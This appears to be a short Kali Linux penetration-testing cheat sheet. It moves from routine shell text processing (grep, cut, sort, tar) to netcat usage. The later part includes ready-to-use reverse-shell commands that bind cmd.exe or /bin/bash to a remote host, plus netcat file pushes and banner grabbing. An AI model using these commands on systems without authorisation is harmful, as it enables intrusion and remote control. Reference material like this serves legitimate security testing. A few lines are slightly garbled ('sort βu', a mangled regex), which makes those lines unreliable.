Kali Linux is a Linux distribution designed for digital forensics and penetration testing. It is maintained and funded by Offensive Security
export ip=xx.xx.xx.xx
cat $ip
locate filename
find / -name namefile\* 2>/dev/null
gunzip access.log.gz //gz file
unzip access.zip //zip file
tar -xzvf file.tar.gz //gz or tar file
Get the start or end of a file
head index.html
tail index.html
Extract all the lines that contain a string
grep "href=" index.html
Cut a string by a delimiter, filter results then sort
grep "href=" index.html | cut -d "/" -f 3 | grep "\\." | cut -d '"' -f 1 | sort -u
Using Grep and regular expressions and output to a file
cat index.html | grep -o 'http://\[^"\]\*' | cut -d "/" -f 3 | sort βu > list.txt
Use a bash loop to find the IP address behind each host
for url in $(cat list.txt); do host $url; done
Collect all the IP Addresses from a log file and sort by frequency
cat access.log | cut -d " " -f 1 | sort | uniq -c | sort -urn
Connect to a POP3 mail server
nc -nv $ip 110
Listen on TCP/UDP port
nc -nlvp 4444
Connect to a netcat port
nc -nv $ip 4444
Send a file using netcat
nc -nv $ip 4444 < /usr/share/windows-binaries/wget.exe
Receive a file using netcat
nc -nlvp 4444 > incoming.exe
Create a reverse shell with Ncat using cmd.exe on Windows
nc.exe -nlvp 4444 -e cmd.exe
nc.exe -nv <Remote IP> <Remote Port> -e cmd.exe
Create a reverse shell with Ncat using bash on Linux
nc -nv $ip 4444 -e /bin/bash
Netcat for Banner Grabbing:
echo "" | nc -nv -w1 <IP Address> <Ports>